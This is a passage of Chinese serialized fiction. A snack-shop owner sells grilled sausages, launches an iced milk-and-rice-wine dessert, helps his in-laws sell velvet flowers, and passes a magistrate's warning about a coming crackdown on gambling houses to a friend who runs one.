想来等个把月后,卖烤肠的多了,就不会出现卖不过来的情况。 他安抚着食客,“烤肠今日定的少,待会我就去香肠铺子多定点,明天早上就卖,备的足足的,肯定不叫大家白跑。” 有了这话,食客们不再说什么,反正就等一天的事。 最后十四根烤肠卖完,凌星说话算话,揣着钱就去香肠铺子预定明天的量。 他估摸了一下,五十斤,三百五十根肠肯定是够卖一天的。 鲜肠一斤三十文钱,凌星定价六文一根,一斤总盈利是十二文。 定价不算高,依旧走的薄利多销。 这样一来,后面就算是换地方,普通食客也都能消费的起。 有钱人再多,也没普通人多啊。 小吏认得凌星,毕竟只有他一个人一口气买五斤鲜肠。 也就一晚上功夫,今日又来要五十斤。 这在香肠里都是大订单了,更别提鲜肠。 搞得小吏反复询问三遍确认,是不是真的要这么多。 凌星把银子掏出来,一两银子另五百文。 铜钱每一百文串成一串,共五串。 “我银子都准备好了。” 昨天是提前交所有的钱,今天凌星就带齐银子来的。 小吏两眼盯柜台上的银子,这可都是业绩啊! 他只拿了五吊铜钱,“铺子里买五十斤以上,都可以只收三分之一的定金。后续不要,定金不退。” 凌星到底是做生意的,能先给定金,就没有非要提前把钱给齐全的。 他收好柜台上剩下的银子和铜钱,还有五十斤鲜肠的凭证,上面盖着缩小的官印。 这印无人敢仿冒,抓住了就是杀头的大罪。 五十斤鲜肠重量可观,第二日凌星是带着伙计和独轮车去的。 天蒙蒙亮,就开始烤肠。 不出凌星所料,五十斤的烤肠,今天卖了个一干二净。 还有些不够卖,隔天又多定了十斤。 五月底的时候,天气变得闷热。 食客们对烤肠的热情没有消退,不过凌星铺子里的烤肠售量,定在了一日二十斤左右。 因为在凌记小吃铺子出火山石烤肠后的七天,县里就多了几个卖烤肠的。也是火山石,专门托商队寻的。 如果不是要寻火山石,第二天其他家的烤肠就出来了。 凌星早有预料,对铺子里烤肠生意已经很满意。 小半个月的时间,他卖烤肠就赚了近六两。 加上其他的几样营生,五月盈利九十两。 去除一应其他花销,一成商税、伙计月钱、药钱、日常嚼用、学费这些,五月凌星到手有四十五两。 若是月盈利过百两,商税也需要再加一成。 估计他离提高商税的日子也不远了。 虽然铺子后面平均每天只卖二十斤烤肠,不如一开始卖那么多。但即便是按着每日二十斤的量来算,烤肠的生意后面每月最少也能赚七两银子呢。 卖烤肠本就是顺带的,没想靠它发什么财。多出的这些收益,凌星已经很满意。 天越来越热,他铺子里还缺少点喝的,准备做点冰饮。 每月收入还能再多些。 月底都是算账的时候,林清渝拿着香肠铺子的账本同样满意的点头。 没想到鲜肠还真是卖起来了。 看着每天销量不是很多,但积少成多,整体销量在铺子里还挺可观。 鲜肠保存时间虽短,不过天冷点的时候,也是能存三天左右。 到时候要是下面各个镇上都有烤肠摊位,鲜肠销售额还能再翻。 但比起能储存更久,可以大批量去其他地方售卖的香肠来说,鲜肠在云水县卖的再好,也比不上香肠。 可惜了,现在还不能大规模出售香肠。 想到这里林清渝就气。 该死的周拓,有本事别叫本官抓住你的小辫子! 第79章 第 79 章(修) 四合一 绒花存货量眼看越来越多, 徐有芳知道不能再拖,得去一趟县里。 沈呈山放下家里的活,跟着徐有芳一起去。听说要去县里,谢青崖停一天生意, 要与二老同去。 王隽身体不太好, 用的药镇上没有,要去县里药铺抓药。 温度渐高, 他新做了一批驱蛇虫药粉, 顺便给凌星带去, 也能见见好友。 沈家二老自是答应,三人运气好, 刚到镇门口, 就有去县里的牛车。 上牛车后,人轻快许多。 谢青崖知道凌星铺子还有住处地址,到县里时便和沈家二老分开, 他要先去抓药。 等抓好药,会去铺子找凌星。 沈家二老也有要事, 三人各自离开,忙自己的事。 徐有芳和沈呈山没有直接去找凌星,而是自行去了首饰铺子。 他们终归是念过书,识字知礼。也善于和人打交道, 并不会露怯。 二人穿着不显贵, 却干净整洁, 无补丁。 头发梳的也好, 沈呈山绑着绣青松山峦的发带,徐有芳发髻上别着朵雾蓝色的绒花。 首饰铺子的伙计一双眼睛最能识人,只一眼, 就看出二人衣着虽质朴,气质却与进铺子的有权有钱之人有些相似。琢磨着估计是能买得起首饰的顾客,立即笑脸相迎。 “二位有什么需要,可尽管与我说。” 沈呈山直言道:“我们不是来买首饰,而是与掌柜谈绒花的生意。” 以为伙计不知道绒花,徐有芳正要配合,让伙计看他头上绒花。 随即就听伙计惊喜道:“还请二位稍等!我这就去喊掌柜的。” 刘记首饰铺在云水县是数一数二的大铺子,背靠府城,掌柜名唤刘峰,是府城首富刘家的家仆。 “掌柜的!掌柜的!云霞镇来人,说是要和咱们谈绒花生意!” 刘峰手一抖,手里的鱼食尽数落在缸中,荷叶下的锦鲤长大嘴巴吃着鱼食。 “你确定是来谈绒花生意的?” 伙计最善察言观色,瞧出刘峰神色不太对劲,收起笑点头,“是,他们亲口说的。” 刘峰神色越发古怪。 县里有头有脸的夫人小姐还有哥儿们,从去年起,就戴起绒花。 来处很容易打听到,是云霞镇流出来的。 知道来处后,县里几家首饰铺子早就派人去镇上打探过。 得知售卖之人是个哥儿,还是个寡夫。 乍听觉得好拿捏,以为这生意很快就能是他们的,没成想却是个硬骨头。 一番仔细查问下,才知当初县丞妻弟想要这凌哥儿的包子方子,对方硬是没给,还跑去县衙,竟叫他见上了县令。 也不知是用什么法子,林县令还真替他出头。 不仅给他一块牌匾,认可他的生意诚信,还叫周县丞亲自过来处理起歪心思的酒楼掌柜。 那天酒楼外人来人往,好多人看见赵掌柜跪在地上,把自己扇的鼻青脸肿。 打探的人得知凌星与林县令有些关联,直接就打消不该有的念头。 只是礼貌询问要不要卖方子或者是合作。 那时候凌星和沈家都觉得家里一切都刚起步,怕步子跨太大,最后什么都守不住,便都拒绝了。 首饰铺子的人只能叹息着离开,不敢强逼。 回到县里,眼看着绒花热度在县里越来越高,他们也毫无办法,眼睁睁看着钱从眼面前溜走。 几家首饰铺子的掌柜们,做梦都是铺子里能卖绒花。 有钱不赚是傻。 既然云霞镇那边不同意合作,他们又不愿让钱就这么溜走,那就自己照着做。 若是他们自己琢磨出来,别说是县令,就是皇帝来了,也不能说他们什么。 各家派人买了些绒花回来,全送匠人那,叫匠人琢磨怎么做。 以为很快就能弄出来,谁知道第一步找材料,就卡了好几个月。 但找出绒花的绒是什么弄成的后,接下来的制作步骤,就简单许多。 匠人们为绒花美观,埋头苦练花型,配比颜色。终于在五日前,府城传来消息,说铺子里可以批量售卖。 谁知这节骨眼上,云霞镇那边竟然来人,要谈绒花生意…… 刘峰啧一声。 心里仔细盘算起来。 如今县里能收云霞镇绒花的,估计只有几家小铺子,还有些首饰摊位。 倒也构不成威胁,看在林县令的份上,还是不把人驱赶走吧。 想通之后,刘峰继续喂鱼,视线找寻莲叶下的鱼,漫不经心道:“叫他们走,咱们铺子不需要绒花。” 不仅是他们铺子不需要,怕是其他两家大铺子也不需要。 他得到消息,那两家也都琢磨出来,不过花型这些还需要再打磨,出的没他们刘记快。 刘记能抢县里头一份的绒花生意。 伙计猜想着,怕是他们铺子已经掌握了如何做出绒花,不然不可能叫人走的。 掌柜不说,他就没有多问。只遵循吩咐,转身离开。 沈呈山和徐有芳被礼貌的请出刘记首饰铺子,二人对视一眼,眉间微皱。 对比之前县里首饰铺子来人时态度,不难猜出,刘记首饰铺子八成已经掌握绒花制作方法。 大首饰铺子能人多,绒花只要找对材料,对有手艺的匠人来说便不会太难,过这么久时间,这些大铺子掌握了绒花手艺,也在所难免。 徐有芳看得开,没多失落,对此事也有所预料。 她对沈呈山道:“另外两家大铺子没有去的必要,咱们直接去小铺子还有摊位。” 大铺子背靠的主家都是有头有脸的,财力雄厚,想要钻研琢磨绒花怎么做,都能立马组建出个队伍来。 这三个铺子做的也是有钱人生意,她做的绒花说实在的,定位本也不是上层人。 而是中下层。 小铺子和摊位,最适合。 事实证明,没有去另外两家大铺子是正确的选择。 徐有芳和沈呈山跑了四家小铺子,八个摊位,成功的把家里的存货全部卖光。 她制作的绒花没有任何的华贵装饰,物美价廉,小铺子和摊位都能卖的动。 对外大批量出售,徐有芳每朵降低一文钱,每半个月会来县城统一送货。 铺子和摊位定价多少,徐有芳并不过问。 与十二家签订契书,去小吃铺子找凌星,都下午了。 谢青崖已经在小吃铺子帮了一上午的忙,凌星给他装不少的东西,用油纸包装好,他走的时候让他带回去。 要赶着天黑前到家,徐有芳和沈呈山都没来得及见沈回他们。 二老只在铺子里吃饭时,和凌星待了半个时辰。大概说一下县城大铺子不会收他们绒花的事,随后便带着凌星给他们包的吃食,和谢青崖一起,坐上牛车离开。 大铺子不收绒花,对沈家来说,其实是有影响。 绒花出货量少,村子的发展就会带不动。 只能再多费力气,去其他镇子,一个个找小铺子和摊位收绒花。 这事落在沈呈山头上,家里人人都有活要忙,地里的活,因家里忙生意,早雇了人来干。 沈呈山不去地里忙活也完全可以。 他在外跑了三天,还是精神抖擞。 比起顶着大太阳在地里干活,显然是顶着大太阳出去找销路更轻松。 因为见的人多,话说的多,人比之前的状态反而更好。 …… 又是一年夏季,云水县的天气一天比一天热,冰价越发的高。 比起去年,今年凌星手里积攒不少银钱,不必再同去年一样,买冰都是挑最便宜省钱的买。 小院也有地窖,面积不算小,有六十平左右。 地窖里堆着些沈来弄的草药,还有小柳村带来的菜蔬,咸菜,以及一些做木匠活的用具外,就没别的东西。 小吃铺子里食材都是当天做当天买,每天都能卖光,即便是天热,也没用上地窖存储。 凌星想趁着天热,在铺子里上新解暑降温的吃食。 今年有钱买冰,小院地窖空间又足,有地方放。 思来想去,准备做冰酥酪。 春雨街的食客都是有钱人,太便宜的东西,他们瞧不上。 冰酥酪做法虽简单,但原料都不便宜。 光米酒酿,价格就不便宜。 米本就价贵,弄成的酒酿,也分等级。普通到精品,一斤的价格区间在三十文至百文。 精品的酒酿凌星是不想的,他买三十文一斤普通的就好。 即便是买最普通的米酒酿,按着做冰酥酪的用甜酒水量比例来算,一斤的米酒酿去除醪糟部分,只能做两碗。 加上牛奶,蜂蜜,白糖,桂花干还有冰的成本,冰酥酪的总成本很高。 好在是在春雨街,贵价也能卖的动。 且云水县也不曾有过冰酥酪,市场打开的话,在春雨街根本不愁卖。 凌星选择做这个,也是因为前世总是听说冰酥酪多美味,便复刻过。 做出来后发现味道是真的很好,夏天吃着也解暑。 小吃铺子交给柳家兄弟还有新雇的伙计,凌星把做冰酥酪要用的原料买齐,回小院试做。 米酒酿压出酒水备用,牛奶煮沸加适量白糖,把表层凝结的奶皮去掉不然会影响口感。 等牛奶放凉倒入米酒搅拌均匀,倒扣小碟盖上,再蒸一刻钟,关火又焖一刻钟。 出锅后放在冰鉴中冰镇半个时辰到一个时辰,吃之前淋上蜂蜜,撒上些桂花干增添风味口感就好。 凌星一共做了六碗,自己尝一碗,味道好极,比起前世复刻的更香醇味美。 应该是这里的原料比前世好的缘由。 剩下的凌星全部分装,拿出去送人。 沈来一直不和家里说在医馆怎么样了,正好带两碗去医馆,一碗给沈来,一碗给裴医。 还能看看沈来如今在医馆到底是什么情况。 剩下的三碗,一碗给林县令,另外两碗给沈回和凌月送去。 县衙在完全相反的方向,凌星把给林县令的那份先放在冰鉴里,等回来再拿。 县学和医馆在同一个方向,凌星先去一条街外的县学。 他没县学学子凭证,并不能入内。县学的规矩没那么严格,是允许外面送吃食进去。 不过要一并交给门房,告知交给哪班哪个学子就可以。 凌星把两个小竹编食盒递给门房,说是吃食,希望能尽快送去。 又另给对方十文钱,小心塞去,“天热辛苦,还请收下买碗冰镇饮子喝。” 这是凌星从铺子里打听来的,关于县学门房不成文的规定。 不管是要门房给学生送什么,都得给他们些跑腿费用。 不能给太多,也不能太少。 多了的话,门房被县学发现会挨罚丢活。少了人家又觉得是打发叫花子,心里不舒服。 六到十文钱是不出错的数,着急送进去的话,给十文,不那么着急的给六文。 积少成多,一天下来,门房靠着跑腿都能赚不少的外快。 尤其是夏季,县学冰量有限,又没冰饮子喝,全都是从外面买,往里送。 多的时候,门房一天能赚四五百文。 门房熟练收好铜钱,笑着点头,“我这就去送,到的时候正好赶上学子们下课休息,能吃上。” 还要去银杏街,凌星得了对方的话,点头离去。 正是下午天热的时候,他从小巷走,没走大路。 小巷更快一些,阴凉也多,没那么晒。 巷子里不是空无一人,反而热闹。 货郎们走街串巷的叫喊,巷口支着各色小摊。因为天热,都搭上简易遮阳的布棚。 凌星的视线落在卖货郎身上,看向挂着琳琅满目货品的货架。 想到前几天徐有芳说大铺子不收绒花,出货量不足的事,凌星若有所思。 卖货郎走的地方很多,这个群体人也不少。他们的货,卖的是小巷,村子居多。 小镇的绒花市场拿下,再加上村子的绒花市场,想来出货量不会比之前预估的少,只会比之前预估的多。 凌星提着食盒匆匆离开,现在赶着去给小五送冰酥酪,再晚就不凉了。 回去就写封信送回家,说一下卖货郎,让爹娘定夺吧。 银杏医馆内,一如既往的安静,没有什么人。 凌星到的时候,裴医还是和初次见面时一样,站在木梯子上抓药。 察觉到有人进来,裴医侧头看去,见是凌星,不由皱眉,“你来干什么?” 凌星举起手里两个小食盒,“我新做的吃食,名叫冰酥酪,清凉解暑,味甜不腻。专程给裴大夫和小五送来尝尝。” 伸手不打笑脸人,加上凌星不是来给沈来报委屈,裴医脸上少了几分不悦。 “你亲手做的?” 凌星点头。 裴医思忖片刻,微抬下巴,“放在空桌上,人可以走了。” 凌星还以为要再说几句,才能叫裴医同意留下冰酥酪,没想到这次这么轻松就留下了东西。 犹记得第一次来送礼,东西可是一样也没能留下。 裴医看一眼凌星,又低头查看油纸包里的草药,随口道:“怎么还不走?” 凌星见裴医不喜他多待,怕再迁怒小五,没好再张口说想进去看看小五。 不管怎样,裴医收下冰酥酪,已经比一开始态度好许多。 凌星把食盒放下,虽然没见到小五,但心情不错,高兴的离开。 人走后,裴医继续抓药。 没一会就从木梯上下来,溜达到放着两个小食盒的桌前,掀开其中一个食盒盖子。 里面有一个盖着盖子的白瓷盅。 取出白瓷盅,稍微凑近就能闻见浓郁的奶香味,夹杂着香甜的米酒味,还有淡淡桂花香。 裴医眉头微挑,闻着倒真是不错。 也不怪沈小五每天叉着腰和其他几个吵架,嚷嚷着他哥夫最好,最厉害。 可惜他吃了掺有奶的东西,都会腹泻,无福享用。 后院又传来吵嚷声,裴医食指点了两下食盒,拎起直接去后院。 “你一哥儿要不要脸?怎么还摸我的手!”辛夷一脸鄙夷的看向沈来,左手拿着帕子,使劲的擦右手手腕,仿佛上面沾染了什么脏东西。 沈来同样不悦,“谁想碰你?要不是师父说学号脉,要我按你的脉象,我碰你一下都嫌自己手脏!” 此言一出,本就炸毛的辛夷更炸了。 啪的一声帕子被甩在地上,辛夷指着沈来吼道:“你再说一遍!” 沈来从小就是在村子里和人打架打到大,他才不怕辛夷的威胁。 他梗着脖子要对着干,却又想到师父不喜欢他。 要是把师父喜欢的大徒弟打了,师父回更讨厌他吧。 沈来一下子没了主意,辛夷见他突然没动静,翻了个白眼,“纸老虎。” 沈来不理他,反正他被骂的也不少,不差这一句。 裴医拎着食盒看一会,见没了下文,这才进后院。 “沈来,你哥夫送了吃食。” 沈来眼前一亮,满血复活,跑到裴医跟前,眼睛盯着他手里熟悉的食盒。 更没想到裴医会亲自送来后院,沈来紧张的道谢,“多谢裴大夫。” 裴医一直没有喝拜师茶,沈来不敢在他跟前改口叫师父,只敢私下里叫。 对于沈来的称呼,裴医从未纠正过。 把沈来的那份冰酥酪给他,自己的那份转手给了辛夷。 冰酥酪里面有米酒,虽说是甜食,但也不适合年纪小的空青吃。 “辛夷,你和忍冬,半夏分食这份。”送出去食盒,裴医提醒道:“为师父要休息,别再弄出什么幺蛾子。” 听出师父是在敲打自己,辛夷再不情愿,也只能点头。 凌星回院子歇会后,就带上剩下的那份冰酥酪去找林县令。 香肠生意入账不错,县里卖烤肠的越来越多,林县令心里高兴,对凌星态度更好。 得知凌星是给他送新吃食尝鲜,也吩咐人将从京城运来的点心拿出来。 亭子里放置四盆冰盆,降低不少暑气。 食盒透着些凉气,林清渝好奇是什么,直接打开食盒要尝尝。 白瓷盅因冷热交替,表面凝一层细密水珠。 林清渝掀开瓷盅上的小盖,浓郁奶香混着清甜酒气扑面而来。 他用勺子舀出一少冰酥酪,洁白平整的冰酥酪缺了一角,香气更甚。 林清渝将冰酥酪送入口中,不由眼前一亮,又快速的舀第二勺品尝。 冰酥酪口感绵密滑嫩,奶香浓郁,入口即化。味道清甜带着微微酒香,还有桂花香气,蜂蜜清甜。吃完后,唇齿留香。更是冰凉清爽,解暑降温。 一口气吃了大半,林清渝意犹未尽道:“京城有家点心铺子,善用羊乳做糕。奶香味浓,入口弹滑。本官很爱吃这道羊乳糕,可惜京城路远,羊乳不可久放。即便是顺风时走水路,也无法在坏之前送来。” “你这道吃食,比起那道羊乳糕还要味美。日后想吃,也比羊乳糕更难。” 凌星笑道:“县令大人想吃,我写下方子,大人让府上厨子做便可。” 林清渝摆摆手,“想来你是要拿这个做生意,本官差人去铺子买就成。” “这冰酥酪好吃,本官的点心比起它,倒差了些。既如此,便给你个消息,算是谢你送来吃食。” 凌星一听这是有话要说,神色认真不少。 瓷勺碰击着瓷盅壁,发出清脆声音,林清渝音量压低,看似告诫实则提醒,“百姓家中钱财积累艰难,遇上恶人带歪,一夜变能倾家荡产,一家人因此妻离子散不在少数。” “为让百姓安居,一些毒瘤需要清除。最迟五日后,云水县便会开始清理。” 凌星愕然,没想到林县令会和他说这样重要的事。 这是要清扫赌坊? 虽然他也不喜那个地方,但赌坊之前都开的好好的,怎么突然就要清扫? 林县令专门和他提这事,又是为什么? 片刻,凌星想到屠海。 林县令专程提醒他,是为了让他告诉屠海,提前有个准备? 林清渝看一眼凌星,见他眉眼间并无太多的疑虑,知他已经猜到些。 关闭赌坊这事,并不是他想,而是上面的要求。 国库是真的没钱了。 他一开始就想发展好云水县的香肠生意,有家世背景肯定会用上,给自己铺路。 一早就送了最好的香肠去京城主家,家主林明海如今是户部尚书,管一朝财政。 林家刚复起,定是要观察陛下喜好,时不时的送些陛下心仪的东西去。 但新帝与前朝皇帝不同,他心思深沉,不喜骄奢淫逸,更厌烦谄媚奉承。 送东西,要送到其心坎上,很难。 想到陛下草莽出身,对百姓生活又多有关注,明里暗里的削弱世家权贵,提高科举地位,想从平民百姓中选人才。 身为被皇帝忌惮,又因无人可用,而不得不用的林家,如今如同过铁丝索,下面是万丈深渊。 讨皇帝欢心,成为皇帝能用的刀刃,是林家能长久的唯一出路。 林家在收到林清渝送来的香肠,吃后发现味道不错,林明海左思右想一晚上,第二天带着些去宫里,献给皇帝去了。 走的是平民百姓间,遇到好吃的东西,惦记着敬重之人的路线,礼轻情意重。 一点肉弄出来的东西,并上不了台面,官场上因此传出不少林家的闲话。 说林家丢了风骨脸面,送那么寒酸的东西进宫去。 小气吧啦的劲,国库不得越管越穷。 皇帝一直没言语,没人知道皇帝吃没吃,心里想的又是什么。 直到五月的最后一天,皇帝在朝会上突然提起林家香肠味美,专门点了林明海出列,问他香肠是哪来的, 林明海听不出皇帝的喜怒,只得如实说是云水县令林清渝送来的。 皇帝闻言,淡淡开口,“这样的肉,又有多少平民百姓吃得起。” 林明海眉头一跳,可不能叫皇帝觉得林家人奢靡。 家族昌盛不可能只靠一人,枝繁叶茂,树大根深,才能经久不衰。但若倒台,却是能只凭一人就做到。 林明海反应极快,立即把林清渝当初做香肠的想法理念说了。 言下之意就是,陛下啊你看,我族中子弟如此费劲的做这吃食,不是为了自己口腹之欲,而是为发展一县经济。 想法和出发点都是好的,真没耽于享乐,劳民伤财。 皇帝听完只是淡淡的嗯一声,随后道:“有心。” 林明海以为能松一口气,结果皇帝下一句就是:“若是之前因赌家破人亡的一家人是在林县令治下,如今应是能靠着一双手,去工坊制作香肠赚取工钱,来填饱肚子。” 提到钱,林明海心里一突。 国库都快比他的脸干净了。 而皇帝提起的因赌家破人亡一事,林明海更觉一个头两个大。 此案发生在京城大赌坊,八方财。 原本是一家人从外地来京城做生意,男人有一手好厨艺,就连宫里都会买来吃。 后来不知为何,男人沾染上赌博,铺子也被输出去,最后还卖儿卖女卖妻,疯了一样就要赌。 输无可输后,男人饿死街头。 若男人不曾沾赌,以他的手艺,在京城彻底立足,迟早的事。 可惜,他沾上了。 这样的事情其实每天都有发生,虽说是人命,但在国家大事面前,此类事情如同尘埃一般。 而尘埃,是不可能让陛下看见的。 如今陛下看见,那就只有两种可能。 一种,闹的太大。偏偏这件事其实并不大,每日都有发生,里面都没个达官显贵。 另一种,这是陛下自己想看见。 林明海琢磨出一些味来。 皇帝拿香肠说事,又提赌博,还专门点了他这个户部尚书出来。 怎么可能是为了拉家常,真讨论香肠。 皇帝这是要他开口,说清扫赌坊,填充国库呢。 而大赌坊都是背靠世家,这话谁提,谁得罪世家。 皇帝是要林家开口,逼林家在世家和皇权中彻底选一个。 说了,得罪世家,只能依附皇权。 不说,虽不会得罪世家,但除非换代,不然林家别想再起来。 林明海心知没办法两头和稀泥,深吸一口气,顺着皇帝的话头,启奏。 “赌坊毁人心智,掏空百姓钱财,害人不浅。依臣之见,应当关闭所有赌坊。查抄的一应金银财宝,尽数归于国库,用于百姓民生之上。” 此言一出,朝中顿时响起反对声音。 林明海很有做刀的自觉,舌战群儒整整三天,谁提反对,他就说:“那国库没钱,以后别问本官要钱。” 皇帝意思意思的也道:“爱卿,不必全部关闭吧?” 林明海心里叫苦,我的陛下哦,您可就别演了! 不过他嘴上还是那句话,“国库没钱,陛下以后可别叫臣批钱了。” 在林明海的强硬态度下,皇帝“不得不头疼”的按着他的提议,颁布关闭赌坊的政令。 国库急需用钱,政令下的极快。 林清渝是昨天收到消息。 其实关闭赌坊对有赌坊的世家来说,不过是出点财,他们不可能真因一座赌坊就被打倒。 等风头过去,赌坊又会开起来。 但是小地方的赌坊,基本上没什么大背景,根本挺不过去。 林清渝知道赌坊里藏污纳垢,清扫掉,其实对百姓来说还真称得上是一桩好事。 他不可惜赌坊,他可惜屠海。 据他了解,屠海的赌坊只有他,还有和他一起出生入死的兄弟们。 为活下去,靠着不怕死的劲头,好不容易在云霞镇混出头。 屠海人聪明,从前面的坊主手里接过了赌坊,在云霞镇站稳脚跟。 林县令知道屠海没惹过什么事,反而云霞镇因为他的关系,毛贼都比别的地方少。 但整个云水县,也就出一个屠海。 其他的赌坊坊主,没一个无辜。 就算是屠海,他也并不是一个干净的好人。不过林县令看在凌星与屠海有交情的份上,还是提醒了凌星。 同时,他也有些私心。 林清渝压低声音对凌星道:“屠海和他的那帮子兄弟,都是靠海的渔村逃命出来的。渔村常年遭遇台风海啸,人一年比一年少。最后一整个村子,跑出来的只有二三十号人。” “凌哥儿,我需要屠海他们上商船,将香肠运输出去。” 通水性,有身手,团结且和衙门里的人没关联。 这简直就是完美帮手。 香肠不能再停滞在云水县,林清渝需要和屠海合作。 但这事,他不好出面。 需要有第三人牵线搭桥。 凌星了然。 “对了。”林县令突然想起以前一桩旧事,“我方才说的羊乳糕,因太好吃售卖太好,引发同行妒恨。他们联起手来,断了那家铺子的羊乳来源。” “你的冰酥酪味道好极,眼下周拓的视线盯着你,我怕会出现此类事。你的财力怕是不能和羊乳糕的东家一样,大手一挥自己养羊。我在县城外有个庄子,有不少耕牛,你若需要奶源,我叫庄子上的人每日给你送。” 凌星没有推辞,若是奶源被断,确实是个问题。 “多谢县令大人牵挂,我会按着市场价格与庄子购买。” 林清渝并不在意这点钱,不过为了避免有人抓着他和凌星瞎做什么文章,还是收钱了事最好。 “嗯,晚上庄子上会有人去你院子商谈此事。若是沈回不在,便不要开门。” 凌星笑着告辞。 出衙门后,凌星直奔小吃铺子。 清扫赌坊也就这两几日,此事宜早不宜迟,今日天色已晚,明天得起早去一趟云霞镇。 铺子又得交给柳家兄弟和伙计照看。 晚上林县令庄子上的庄头来了,沈回开的门。 牛奶价格按斤卖,是十五文一斤。 他要了三十五斤的牛奶,能做五十碗冰酥酪。 铺子开业至今,他也摸清楚了食客们的身家背景。一天五十盅,是能卖得出去。 再多就悬了,要是真不够隔天再加也一样。 冰酥酪的成本高,定价不可能便宜。算上人工,柴火,冰块一盅成本有三十七文。 凌星将冰酥酪定在走高端路线,一盅按四十七文售出。 明日凌星要回一趟云霞镇,做不了冰酥酪。便叫庄头后日一早直接送到院中。 庄头收下定金,写了条子给凌星,恭敬拱手离开。 关上院门,凌星问沈回道:“阿月又被秦夫子留下了?” 今天凌月依旧没有和沈回一同回家。 短短半月时间,凌月几乎每天都会被留下。 回来的晚,睡的就晚。每天还要早早起来锻炼、读书。小小年纪,脸上整天顶着黑眼圈,人都瘦了。 那秦夫子也不知道哪里来的那么多理由,每天都能不重样。 沈回颔首,“姓秦的说,阿月在学堂里吃东西,引发哄乱,要罚。” 凌星不由皱眉,“不是说能吃?这也能罚?” 早知道他不送了,平白给那不讲理的夫子多个借口罚阿月。 “是能吃,但姓秦的想针对阿月,黑的也能说成白的。”沈回点上灯笼,安慰凌星,“别担心,我去接阿月,想来应该出来了。” 家里还有沈来在,他在医馆忙一天,回来吃两口东西洗漱完后,就累睡着了。 凌星怕沈来一个人在家里会有个万一,便留在家里等沈回带凌月回来。 等待的时间总是难熬,凌星在院子里来回踱步,头都有些转晕了,才回去坐着。 昏暗烛光,明明灭灭,四周寂静,凌星撑着头,在打瞌睡。 等近半个时辰,院门才有动静。 听到动静,凌星立即清醒起身,开门前询问确认是沈回,才抬起门闩。 凌月是被沈回背回来的,也是一样,累睡着了。 摸一把弟弟疲惫的脸,凌星心里不是滋味。 一开始以为来县城,一切都是朝着好的地方发展。 阿月有更好的夫子教,小五能名正言顺学医。 结果阿月的夫子因自己没甚本事,就晓得打压欺负一个孩子。其他夫子虽好,却拿这个夫子无可奈何。弟弟如今去县学,是去读书还是受罪,凌星都分不清了。 小五的情况也是差不多,裴医至今不承认自己是小五师父,师兄弟们知小五是哥儿,也容不下他,各种排挤。 凌星看着两孩子经受不同的折磨,心疼的很。 沈回将凌月放在床榻上,又把他的书箱放桌边。 出去关上门,见凌星仰头看星空,抬步走向前。 “哥夫在看什么?” “二郎,如果我没有让阿月去县学,没有让小五去医馆,他们会不会过的很开心?至少,不会像如今这样的疲累。” 凌星神情落寞,他对这个社会的制度,完全适应不来,也不知该如何将境况变得更好些。 沈回伸手,捻住凌星被夜风吹向他的发丝。 指尖轻揉发丝,目光落在其上,“保护的太好,他们会没办法在所想待的领域里生存。” “小五那边不必担忧,裴医当时和我们说的那些话,看似不近人情,却是小五最好的选择。” “阿月这边,或许可以考虑换夫子,或是离开县学。” 凌星转头看沈回,发丝随着动作抽离。沈回放下手,指尖触感似乎还在,他忍不住在暗处摩挲指尖。 “二郎也觉得该让阿月换夫子,或离开县学?” 沈回点头,“嗯,秦明风的行为已经耽误了阿月的学业。长久下去,对阿月来说并不好。” 凌星低头思索,准备明天从镇上回来时,同林县令商量一下看看。 毕竟名额是县令想办法弄来给他的,不好什么也不说。 知道凌星第二天要回云霞镇找屠海,沈回不放心他一个人去,一大早就去县学请假。 夫子都没到,他提前写了告假信,托门房带给夫子。 两个小的早起吃完饭,一个去县学,一个去医馆。 沈回租马车到院子接上凌星,朝着云霞镇去。 到镇上时,天色尚早。 今日到镇上城门,许七也在。 自从去县城,已经一个多月没见许七。因有急事在身,三人没多寒暄,定下中午一起在铺子吃饭,凌星和沈回便匆匆赶去赌坊。 屠海听说凌星和沈回来找他,还以为听错了。 两人如今都是大忙人,不去县城都见不着。 这不年不节的突然赶来见他,定是有事。 屠海叫人赶紧把人带后院相见,自己亲自烧茶待客。 也就还有三四日功夫,云水县赌坊就都得被抄。 凌星茶也喝不下,让屠海叫手下人离开,说有要事相商。 屠海见凌星面色凝重,心知是出大事,打发走闲杂人等,屋里只有三人。 他关上门问凌星,“到底出什么事了?怎么如此严肃?” 凌星压低声,把林县令的话和屠海说了一遍。 屠海越听脸色越沉。 于他而言,这还真是……天大的祸事。 “屠八爷,此事切莫声张出去。”凌星提醒道。 林县令敢和他说的这样直白,早就做好若是泄露后的准备。 听县令话里的意思,屠海若是有其他不该有的动作,或是声张出去,怕是活不成了。 从小就经历着天灾,艰难求生的屠海,最是惜命。 没有什么,比他还有兄弟们的命更重要。 求生的本能让他很快就做出决定。 “凌哥儿,多谢你赶来告知,此事我心中有定数。三日内,会彻底搬离赌坊。对外我会说厌倦陆地上的日子,还是想上船,在水上漂着。” 他本就是渔村出身,一直以来,也总会对外说怀念出海的日子。 虽然海上危险很多,亦有人抵抗不了的天灾祸事。 可他的内心,却是还是会想着出海的日子。 或许,是因那些日子里,全是他与家人相处的回忆。 这个理由并不突兀,也有迹可循,凌星点头。 “我和二郎先走了,八爷快点收拾,尽早离开。” 屠海送凌星和沈回离开,立即叫来兄弟们,关门商量一个时辰。 得益于一年前从凌星那交易换来的凉粉方子,因年纪大或是伤势严重退下去的兄弟们,已经完全靠此为生,早就脱离赌坊内部。 这次的动荡影响不到他们,而且不想上船的人,也可以拿着凉粉方子,去别的地方摆摊子过活。 一起从渔村出来的兄弟们都没有选择留下,他们知道,如今只有更加团结的抱团在一起,才能闯出更大的一方天地。 是比起在镇上开赌坊,更广阔的天地。 他们,也怀念着船。 真是奇怪,在船上的时候,整天想着在陆地上生活。真的在陆地生活了,又想船上的生活。 大家表态做决定后,屠海不敢再耽误时间,收拾起行李和多年积蓄。 抄赌坊之前,赌坊关门,人不会有事,带走的金银细软也不会追回。 但不动产会尽数归公。 这么多的积蓄肯定没办法全部都带走,时间太短,一些田地,铺子根本来不及卖出去,只能归公。 不过金银珠宝也有不少了,足够兄弟们过活几年。 赌坊白天黑夜都不会关门,怕引起注意,今日也只是后院忙起来,前面还是和往常一样。 凌星和沈回去了小吃铺,赵长命与沈燕正开铺子卖吃食,看到凌星二人,也很惊喜。 趁着中午没到,许七没来,凌星同沈燕说可以让爹娘找卖货郎售卖绒花。 